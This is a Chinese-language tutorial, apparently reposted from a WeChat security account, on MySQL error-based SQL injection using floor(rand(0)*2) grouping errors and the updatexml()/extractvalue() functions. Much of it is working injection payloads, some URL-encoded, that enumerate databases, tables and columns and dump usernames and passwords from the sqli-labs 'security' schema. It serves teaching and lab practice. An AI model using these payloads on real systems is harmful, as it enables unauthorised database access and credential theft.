1.floor函数
rand(0)*2
floor(rand(0)*2)
group by 与 count(*)
select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;
select count(*), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a; #将select database()换成你想要的东西!~
报错分析
rand()的特殊性
select count(*) from test group by floor(rand(0)*2);
报错
利用floor()报错:
注入公式(Payload为自己想获取内容的脚本):
and(select 1 from (select count(*),concat(concat(payload),floor(rand(0)*2))x from information_schema.tables group by x)y)
and(select 1 from (select count(*),concat(concat(database(),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//暴库
and(select 1 from (select count(*),concat(concat((select concat(table_name) from information_schema.tables where table_schema="security" limit 3,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询表
and(select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询字段
and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询字段内容
2.xpath函数:
-
updatexml():对xml进行查询和修改
-
extractvalue():对xml进行查询和修改
and updatexml(1,concat(0x7e,(payload),0x7e))
and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
//查询当前用户名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
//查询当前数据库名
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
//查询所有的数据库名称
id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23
//查询表名
id=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x7e),1)%23
//查询表下的字段
and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from security.users limit 0,1),0x7e),1)
//爆出具体的字段内容。
扫描下方二维码学习更多WEB安全知识:
本文始发于微信公众号(Ms08067安全实验室):Mysql报错注入之函数分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论